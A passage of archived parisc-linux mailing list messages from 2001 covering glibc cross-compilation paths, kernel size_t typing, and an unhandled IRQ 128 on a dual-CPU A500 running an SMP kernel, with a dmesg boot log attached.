Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 56B884A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 27 Feb 2001 06:41:48 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14XkRA-0003RI-00; Tue, 27 Feb 2001 13:45:09 +0000
In-Reply-To: <Pine.LNX.4.21.0102272335540.18409-100000@front.linuxcare.com.au> from "Alan Modra" at Feb 28, 2001 12:04:51 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10412

 > Is there a 'dont use builtins' flag ?
> 
> -fno-builtin
> 
> I'd be inclined to do this instead

Careful, if you use different typings to everyone else you will get a million
printf format warnings instead




From - Thu Nov 08 21:16:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Initial setup of the `glibc' in the target rootfile   
 system
Date: Tue, 27 Feb 2001 20:52:40 +0100
Organization: private
Lines: 77
Approved: news@gmane.org
Message-ID: <3A9C0588.F2C47418@dot.at>
References: <Pine.LNX.4.21.0102091056000.9776-100000@front.linuxcare.com.au>
		<3A8FA3D8.19E69EF6@dot.at> <3A94C3B5.EF59259C@neuronet.pitt.edu>
		<3A94CEF9.F171DE3F@alcatel.at> <3A974D1F.3BBB87C8@neuronet.pitt.edu>
		<m3wvagiojx.fsf@otr.mynet.cygnus.com>
		<3A976261.EEA18B66@neuronet.pitt.edu> <m3k86gil1b.fsf@otr.mynet.cygnus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619917 16200 80.91.229.3 (22 Nov 2014 01:31:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:57 +0000 (UTC)
Cc: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>,
	parisc-linux@lists.parisc-linux.org
To: Ulrich Drepper <drepper@cygnus.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 27 12:53:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dns2.dot.at (dns2.dot.at [212.9.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 362E54A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 27 Feb 2001 12:53:15 -0700 (MST)
Original-Received: from dot.at (dot-tc01-057.dot.at [212.9.128.97])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id VAA06383;
	Tue, 27 Feb 2001 21:07:30 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; I; Linux 2.2.13 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10413

To add some "light" here in the discussion.

The `user-defined-trusted-dirs=/lib' is exactly the "key" in the 
discussion. It tells the online running library loader (file
./elf/ld-load.c)
where to search the libraries. 

When building a cross tool chain and having the library install in
/usr/parisc/hppa-linux/lib, then the cross tool chain will search
there, but also the running programs, because this path is hard-coded
in the ld-load.c loader executable.

No my idea was, to give a "second search path" for the loader. So
the loader will search in /usr/parisc/hppa-linux/lib, will fail and
retry in /lib (as defined in `user-defined-trusted-dirs=/lib'). So also
the running binary on the target machine will access the glibc in /lib.

With friendly regards
	Christoph P.

PS: Of course the way of using --prefix=/usr and installing with 
install_root != /usr is a way, but lets say it, it is a HACK !!

The problems I have with many tools, is that they are not prepared
for cross-compiling very well. I need some evenings for bigger 
packages.


Ulrich Drepper wrote:
> 
> "Rafael E. Herrera" <raffo@neuronet.pitt.edu> writes:
> 
> > export MACH=i386-linux
> > export DEST=/usr
> > export ROOT=~/parisk
> >
> > HOSTCC=gcc CC=hppa-linux-gcc $ROOT/source/glibc/configure \
> > --prefix=$DEST --build=$MACH \
> > --host=hppa-linux --target=hppa-linux \
> > --with-headers=$ROOT/source/linux/include --disable-profile \
> > --without-cvs --enable-add-ons
> 
> This looks OK (though providing HOSTCC shouldn't be necessary) and
> --build, --host, and --target have no effect.  The configure script
> will pick up all it has to know from the CC value.
> 
> > make MAKE="make -j 10" user-defined-trusted-dirs=/lib
> 
> Providing make isn't necessary.  Also, the `user-defined-trusted-dirs'
> is not needed.  Just run
> 
>    make -j10
> 
> > make install user-defined-trusted-dirs=/lib \
> >  install_root=/tmp/glibc
> 
> Again, loose the `user-defined-trusted-dirs'.  Also, is /tmp/glibc
> where the nfsroot is picked up?  If not, just install in the nfsroot
> directory.
> 
> --
> ---------------.                          ,-.   1325 Chesapeake Terrace
> Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
> Red Hat          `--' drepper at redhat.com   `------------------------
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:16:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 2-way A500
Date: Tue, 27 Feb 2001 13:58:46 -0800
Lines: 40
Approved: news@gmane.org
Message-ID: <200102272158.NAA25485@milano.cup.hp.com>
References: <3A9C16AB.A3BBCB51@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619918 16206 80.91.229.3 (22 Nov 2014 01:31:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 27 14:56:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D1CE4A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 27 Feb 2001 14:56:27 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 4A56725C9; Tue, 27 Feb 2001 13:55:48 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id NAA25485;
	Tue, 27 Feb 2001 13:58:51 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 27 Feb 2001 22:05:47 PST."
             <3A9C16AB.A3BBCB51@esiee.fr> 
Xref: news.gmane.org gmane.linux.ports.parisc:10414

Thomas,

Please send full console output, lspci, and /proc/interrupt output.
I can provide pciutils binaries if you can't otherwise find/build them.

Thomas Marteau wrote:
> Hi Grant,
> 
> 	I noticed that if we put init=/bin/bash, we see this message:
> IRQ No handler for IRQ 128!

64-bit on A500?

If so, IRQ128 is IRQ0 in IRQ region 2 - ie first iosapic/PCI bus.
A device may have that line asserted for some reason.
I do expect that all drivers for boot devices have registered/claimed
the devices they should *before* init (/bin/bash) is invoked.

> It is true that in /proc/interrupts, no device is reported for this IRQ. The
> problem is that you do not have this problem with /bin/sh, afaik.

Interesting. Perhaps bash RC scripts is doing something different?
I don't see how bash or sh could otherwise generate IO interrupts.

> Also, I will appreciate if you could explain how works this file when it is a
> SMP kernel because I am a little lost :) (Everything is reported to CPU00 here!)

All IO interrupts are routed to the "monarch" (CPU 0) at the moment.
When things stabilize, I'll change the code so both processors share
the IO IRQ load.

ciao!
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP: We have ignition
Date: Wed, 28 Feb 2001 09:24:53 +1100 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102280914480.21714-100000@front.linuxcare.com.au>
References: <E14XkRA-0003RI-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619918 16208 80.91.229.3 (22 Nov 2014 01:31:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:58 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 27 15:25:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B7504A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 27 Feb 2001 15:25:27 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA22878;
	Wed, 28 Feb 2001 09:24:53 +1100
In-Reply-To: <E14XkRA-0003RI-00@the-village.bc.nu>
Xref: news.gmane.org gmane.linux.ports.parisc:10415

On Tue, 27 Feb 2001, Alan Cox wrote:

>  > Is there a 'dont use builtins' flag ?
> > 
> > -fno-builtin
> > 
> > I'd be inclined to do this instead
> 
> Careful, if you use different typings to everyone else you will get a million
> printf format warnings instead

Hmm, alpha, ia64, mips64, sparc64 and s390 use an `unsigned long'
__kernel_size_t while arm, i386, m68k, mips, ppc, sh and sparc use
`unsigned int'.  I think the precedent is there for us to use
`unsigned int' for 32 bit, and `unsigned long' for 64 bit.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.





From - Thu Nov 08 21:16:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP: We have ignition
Date: Tue, 27 Feb 2001 22:49:20 +0000 (GMT)
Lines: 9
Approved: news@gmane.org
Message-ID: <E14Xsvq-0004PB-00@the-village.bc.nu>
References: <Pine.LNX.4.21.0102280914480.21714-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619918 16211 80.91.229.3 (22 Nov 2014 01:31:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:58 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox), bame@fc.hp.com (Paul Bame),
	parisc-linux@lists.parisc-linux.org
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 27 15:46:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 379FB4A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 27 Feb 2001 15:46:40 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14Xsvq-0004PB-00; Tue, 27 Feb 2001 22:49:22 +0000
In-Reply-To: <Pine.LNX.4.21.0102280914480.21714-100000@front.linuxcare.com.au> from "Alan Modra" at Feb 28, 2001 09:24:53 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10416

> Hmm, alpha, ia64, mips64, sparc64 and s390 use an `unsigned long'
> __kernel_size_t while arm, i386, m68k, mips, ppc, sh and sparc use
> `unsigned int'.  I think the precedent is there for us to use
> `unsigned int' for 32 bit, and `unsigned long' for 64 bit.

Ok




From - Thu Nov 08 21:16:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2-way A500
Date: Wed, 28 Feb 2001 00:49:45 +0100
Lines: 252
Approved: news@gmane.org
Message-ID: <3A9C3D19.2128CB74@esiee.fr>
References: <200102272158.NAA25485@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------50C17CC21C9542984B162495"
X-Trace: ger.gmane.org 1416619918 16212 80.91.229.3 (22 Nov 2014 01:31:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 27 16:49:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 556A54A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 27 Feb 2001 16:49:47 -0700 (MST)
Original-Received: from esiee.fr (pc5158a.esiee.fr [147.215.50.165])
	by mail.esiee.fr (Postfix) with ESMTP
	id A5C3DD15EE; Wed, 28 Feb 2001 00:49:45 +0100 (CET)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.17 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10417

This is a multi-part message in MIME format.
--------------50C17CC21C9542984B162495
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi Grant,

Grant Grundler wrote:
> 
> Thomas,
> 
> Please send full console output, lspci, and /proc/interrupt output.
> I can provide pciutils binaries if you can't otherwise find/build them.
The dmesg is attached!

> 
> Thomas Marteau wrote:
> > Hi Grant,
> >
> >       I noticed that if we put init=/bin/bash, we see this message:
> > IRQ No handler for IRQ 128!
> 
> 64-bit on A500?
Two processors 550 MHz 64 bits PA8600

> 
> If so, IRQ128 is IRQ0 in IRQ region 2 - ie first iosapic/PCI bus.
> A device may have that line asserted for some reason.
> I do expect that all drivers for boot devices have registered/claimed
> the devices they should *before* init (/bin/bash) is invoked.
Here is the official message
IRQ: CPU:0 No handler for IRQ 128 !

> 
> > It is true that in /proc/interrupts, no device is reported for this IRQ. The
> > problem is that you do not have this problem with /bin/sh, afaik.
> 
> Interesting. Perhaps bash RC scripts is doing something different?
> I don't see how bash or sh could otherwise generate IO interrupts.
I think that the bug could come from the bash and its capability with SMP

> 
> > Also, I will appreciate if you could explain how works this file when it is a
> > SMP kernel because I am a little lost :) (Everything is reported to CPU00 here!)
Here is /proc/interrupts but I need some help here
            IRQ count 
 64:      29818        160       PA-CPU-00  timer
 65:        488         30       PA-CPU-00  IPI
 66:        160        232       PA-CPU-00  IO-SAPIC00-L0
 67:         30         30       PA-CPU-00  IO-SAPIC00-L1
 68:          0        302       PA-CPU-00  IO-SAPIC00-L2
 69:        232          0       PA-CPU-00  IO-SAPIC00-L2
 70:         30          0       PA-CPU-00  IO-SAPIC00-L3
 71:        302          0       PA-CPU-00  IO-SAPIC00-L4
 72:          0          0       PA-CPU-00  IO-SAPIC00-L5
129:         30          0      IO-SAPIC00  sym53c8xx
130:        232          0      IO-SAPIC00  sym53c8xx
131:         30          0      IO-SAPIC00  sym53c8xx
132:        302          0      IO-SAPIC00  serial


As we see, everything is attached to PA-CPU-00!

> 
> All IO interrupts are routed to the "monarch" (CPU 0) at the moment.
> When things stabilize, I'll change the code so both processors share
> the IO IRQ load.
> 
> ciao!
> grant
> 
> Grant Grundler
> parisc-linux {PCI|IOMMU|SMP} hacker
> +1.408.447.7253
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
--------------50C17CC21C9542984B162495
Content-Type: text/plain; charset=us-ascii;
 name="dmes"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="dmes"

The 64-bit Kernel has started...
FP[0] enabled: Rev 1 Model 16
Free memory starts at: 0x1040e000
start_parisc(0x504d70,0x504d70,0x0,0x0)
PALO command line: 'init=/bin/sh HOME=/ TERM=LINUX console=ttyS0 root=/dev/sda3'
PALO initrd 0-0
model   00005d50 00000491 00000000 00000001 5e936f38 100000f0 00000008 000000b2 000000b2
vers    00000301
cpuid   0000024b
CPUID   vers 18 rev 11
model   9000/800/A500-5X
Searching for devices in PDC firmware... processor hpa 0xfffffffffffa0000
Found devices:
1. Crescendo 550 (0) at 0xfffffffffffa0000, versions 0x5d5, 0x0, 0x4, 0x0, 0x91
2. Crescendo 550 (0) at 0xfffffffffffa2000, versions 0x5d5, 0x0, 0x4, 0x0, 0x91
3. Crescendo Memory (1) at 0xfffffffffed08000, versions 0x9b, 0x0, 0x9, 0x0, 0x0
4. Astro BC Runway Port (12) at 0xfffffffffed00000, versions 0x582, 0x0, 0xb, 0x0, 0x10
5. Elroy PCI Bridge (13) at 0xfffffffffed30000, versions 0x782, 0x0, 0xa, 0x0, 0x0
6. Elroy PCI Bridge (13) at 0xfffffffffed34000, versions 0x782, 0x0, 0xa, 0x0, 0x0
7. Elroy PCI Bridge (13) at 0xfffffffffed38000, versions 0x782, 0x0, 0xa, 0x0, 0x0
8. Elroy PCI Bridge (13) at 0xfffffffffed3c000, versions 0x782, 0x0, 0xa, 0x0, 0x0
That's a total of 8 devices.
CPU(s): 2 x PA8600 (PCX-W+) at 550.000000 MHz
Linux version 2.4.0 (a500@pc5158a) (gcc version 2.97 20010128 (experimental)) #4 SMP Mon Feb 26 12:22:43 CET
 2001
free_bootmem(0x412000, 0x1fbee000)
pagetable_init
On node 0 totalpages: 131072
zone(0): 65536 pages.
zone(1): 65536 pages.
zone(2): 0 pages.
Kernel command line: init=/bin/sh HOME=/ TERM=LINUX console=ttyS0 root=/dev/sda3
Calibrating delay loop... 1097.72 BogoMIPS
Memory: 500652k available
Dentry-cache hash table entries: 65536 (order: 8, 1048576 bytes)
Buffer-cache hash table entries: 32768 (order: 6, 262144 bytes)
Page-cache hash table entries: 131072 (order: 8, 1048576 bytes)
Inode-cache hash table entries: 32768 (order: 7, 524288 bytes)
POSIX conformance testing by UNIFIX
SMP: bootstrap CPU ID is 0
FP[1] enabled: Rev 1 Model 16
SMP: Total 2 of 2 processors activated (2195.46 BogoMIPS noticed).
lba version TR4.0 (0x5) found at 0xfffffffffed30000
lba range[2] : ignoring GMMIO (0xfffffff804000000)
PCI: dev Symbios Logic Inc. (formerly NCR) 53c896 type 64-bit
PCI: dev Symbios Logic Inc. (formerly NCR) 53c896 (#2) type 64-bit
PCI: dev Symbios Logic Inc. (formerly NCR) 53c896 type 64-bit
PCI: dev Symbios Logic Inc. (formerly NCR) 53c896 (#2) type 64-bit
lba version TR4.0 (0x5) found at 0xfffffffffed34000
lba range[2] : ignoring GMMIO (0xfffffff904000000)
lba version TR4.0 (0x5) found at 0xfffffffffed38000
lba range[2] : ignoring GMMIO (0xfffffffa04000000)
lba version TR4.0 (0x5) found at 0xfffffffffed3c000
lba range[2] : ignoring GMMIO (0xfffffffb04000000)
SBA found Astro 2.1 at 0xfffffffffed00000
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
PCIBIOS: Enabling device 00:04.0 (0146 -> 0147)
ttyS00 at port 0x0040 (irq = 132) is a 16550A
PCIBIOS: Enabling device 00:05.0 (0000 -> 0143)
ttyS01 at port 0x0500 (irq = 133) is a 16550A
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
Linux Tulip driver version 0.9.13 (January 2, 2001)
PCIBIOS: Enabling device 00:00.0 (0140 -> 0143)
PCIBIOS: Setting latency timer of 00:00.0 to 128
eth0: Digital DS21143 Tulip rev 65 at 0x80, 00:30:6E:06:15:E3, IRQ 128.
eth0:  MII transceiver #1 config 1000 status 782d advertising 0061.
eth0:  Advertising 01e1 on PHY 1, previously advertising 0061.
eth0:  Advertising 01e1 (to advertise is 01e1).
SCSI subsystem driver Revision: 1.00
sym53c8xx: at PCI bus 0, device 2, function 0
sym53c8xx: setting PCI_COMMAND_IO...
sym53c8xx: changing PCI_LATENCY_TIMER from 0 to 80.
sym53c8xx: 53c876 detected 
sym53c8xx: at PCI bus 0, device 2, function 1
sym53c8xx: setting PCI_COMMAND_IO PCI_COMMAND_MEMORY...
sym53c8xx: setting PCI_COMMAND_MASTER PCI_COMMAND_PARITY...(fix-up)
sym53c8xx: changing PCI_LATENCY_TIMER from 0 to 80.
sym53c8xx: 53c876 detected 
sym53c8xx: at PCI bus 0, device 1, function 0
sym53c8xx: setting PCI_COMMAND_IO PCI_COMMAND_MEMORY...
sym53c8xx: setting PCI_COMMAND_MASTER PCI_COMMAND_PARITY...(fix-up)
sym53c8xx: changing PCI_LATENCY_TIMER from 0 to 80.
sym53c8xx: 53c896 detected 
sym53c8xx: at PCI bus 0, device 1, function 1
sym53c8xx: setting PCI_COMMAND_IO PCI_COMMAND_MEMORY...
sym53c8xx: setting PCI_COMMAND_MASTER PCI_COMMAND_PARITY...(fix-up)
sym53c8xx: changing PCI_LATENCY_TIMER from 0 to 80.
sym53c8xx: 53c896 detected 
sym53c876-0: rev 0x14 on pci bus 0 device 2 function 0 irq 130
sym53c876-0: NCR clock is 40218KHz
sym53c876-0: ID 7, Fast-20, Parity Checking
sym53c876-0: on-chip RAM at 0xfffffffff8040000
sym53c876-0: restart (scsi reset).
sym53c876-0: Downloading SCSI SCRIPTS.
sym53c876-1: rev 0x14 on pci bus 0 device 2 function 1 irq 131
sym53c876-1: NCR clock is 40218KHz
sym53c876-1: ID 7, Fast-20, Parity Checking
sym53c876-1: on-chip RAM at 0xfffffffff8001000
sym53c876-1: restart (scsi reset).
sym53c876-1: Downloading SCSI SCRIPTS.
sym53c896-2: rev 0x7 on pci bus 0 device 1 function 0 irq 129
sym53c896-2: NCR clock is 40218KHz
sym53c896-2: ID 7, Fast-40, Parity Checking
sym53c896-2: on-chip RAM at 0xfffffffff8002000
sym53c896-2: restart (scsi reset).
sym53c896-2: handling phase mismatch from SCRIPTS.
sym53c896-2: Downloading SCSI SCRIPTS.
sym53c896-3: rev 0x7 on pci bus 0 device 1 function 1 irq 130
sym53c896-3: NCR clock is 40218KHz
sym53c896-3: ID 7, Fast-40, Parity Checking
sym53c896-3: on-chip RAM at 0xfffffffff8004000
sym53c896-3: restart (scsi reset).
sym53c896-3: handling phase mismatch from SCRIPTS.
sym53c896-3: Downloading SCSI SCRIPTS.
scsi0 : sym53c8xx - version 1.6b
scsi1 : sym53c8xx - version 1.6b
scsi2 : sym53c8xx - version 1.6b
scsi3 : sym53c8xx - version 1.6b
  Vendor: SEAGATE   Model: ST32151N          Rev: HP02
  Type:   Direct-Access                      ANSI SCSI revision: 02
sym53c876-0-<3,0>: tagged command queue depth set to 8
  Vendor: SEAGATE   Model: ST39204LC         Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 03
sym53c896-3-<15,0>: tagged command queue depth set to 8
Detected scsi disk sda at scsi0, channel 0, id 3, lun 0
Detected scsi disk sdb at scsi3, channel 0, id 15, lun 0
sym53c876-0-<3,0>: sync msgout: 1-3-1-c-10.
sym53c876-0-<3,0>: sync msg in: 1-3-1-19-f.
sym53c876-0-<3,0>: sync: per=25 scntl3=0x30 scntl4=0x0 ofs=15 fak=0 chg=0.
sym53c876-0-<3,*>: FAST-10 SCSI 10.0 MB/s (100 ns, offset 15)
sym53c876-0-<3,0>: sync msgout: 1-3-1-c-10.
sym53c876-0-<3,0>: sync msg in: 1-3-1-19-f.
sym53c876-0-<3,0>: sync: per=25 scntl3=0x30 scntl4=0x0 ofs=15 fak=0 chg=0.
SCSI device sda: 4194685 512-byte hdwr sectors (2148 MB)
Partition check:
 sda: sda1 sda2 sda3
sym53c896-3-<15,0>: wide msgout: 1-2-3-1.
sym53c896-3-<15,0>: wide msgin: 1-2-3-1.
sym53c896-3-<15,0>: wide: wide=1 chg=0.
sym53c896-3-<15,0>: wide msgout: 1-2-3-1.
sym53c896-3-<15,0>: wide msgin: 1-2-3-1.
sym53c896-3-<15,0>: wide: wide=1 chg=0.
sym53c896-3-<15,0>: sync msgout: 1-3-1-c-1f.
sym53c896-3-<15,0>: sync msg in: 1-3-1-c-1f.
sym53c896-3-<15,0>: sync: per=12 scntl3=0xb0 scntl4=0x0 ofs=31 fak=0 chg=0.
sym53c896-3-<15,*>: FAST-20 WIDE SCSI 40.0 MB/s (50 ns, offset 31)
SCSI device sdb: 17783112 512-byte hdwr sectors (9105 MB)
 sdb: unknown partition table
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 24Kbytes
TCP: Hash tables configured (established 4096 bind 8192)
IP-Config: Incomplete network configuration information.
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Mounted root (ext2 filesystem) readonly.
EXT2-fs warning: mounting unchecked fs, running e2fsck is recommended

--------------50C17CC21C9542984B162495--





From - Thu Nov 08 21:16:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2-way A500
Date: Tue, 27 Feb 2001 21:22:11 -0800
Lines: 45
Approved: news@gmane.org
Message-ID: <200102280522.VAA25961@milano.cup.hp.com>
References: <3A9C3D19.2128CB74@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619919 16214 80.91.229.3 (22 Nov 2014 01:31:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb 27 22:19:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id 813ED4A19
	for <parisc-linux@lists.parisc-linux.org>; Tue, 27 Feb 2001 22:19:20 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id D2EFF20C; Tue, 27 Feb 2001 21:19:19 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id VAA25961;
	Tue, 27 Feb 2001 21:22:24 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 28 Feb 2001 00:49:45 PST."
             <3A9C3D19.2128CB74@esiee.fr> 
Xref: news.gmane.org gmane.linux.ports.parisc:10418

Thomas Marteau wrote:
> Here is /proc/interrupts but I need some help here
...
> As we see, everything is attached to PA-CPU-00!

Yes. That's expected behavior (for now). I wrote:
> > All IO interrupts are routed to the "monarch" (CPU 0) at the moment.
> > When things stabilize, I'll change the code so both processors share
> > the IO IRQ load.

that can probably happen pretty soon now. Next week or two.

...
> Linux Tulip driver version 0.9.13 (January 2, 2001)
> PCIBIOS: Enabling device 00:00.0 (0140 -> 0143)
> PCIBIOS: Setting latency timer of 00:00.0 to 128
> eth0: Digital DS21143 Tulip rev 65 at 0x80, 00:30:6E:06:15:E3, IRQ 128.
> eth0:  MII transceiver #1 config 1000 status 782d advertising 0061.
> eth0:  Advertising 01e1 on PHY 1, previously advertising 0061.
> eth0:  Advertising 01e1 (to advertise is 01e1).

eth0 knows it's using IRQ 128.  That's from pci_dev->irq.

Tulip driver does *not* call request_irq() to register it's IRQ handler
until the eth0 device is open()'d. That's why it doesn't show up in
/proc/interrupts.  The IRQ is probably not getting handled because
the RC scripts aren't getting invoked that would ifconfig the port.
But I don't know how/why tulip generates the interrupt.

I also didn't see the "official" msg in this console output:
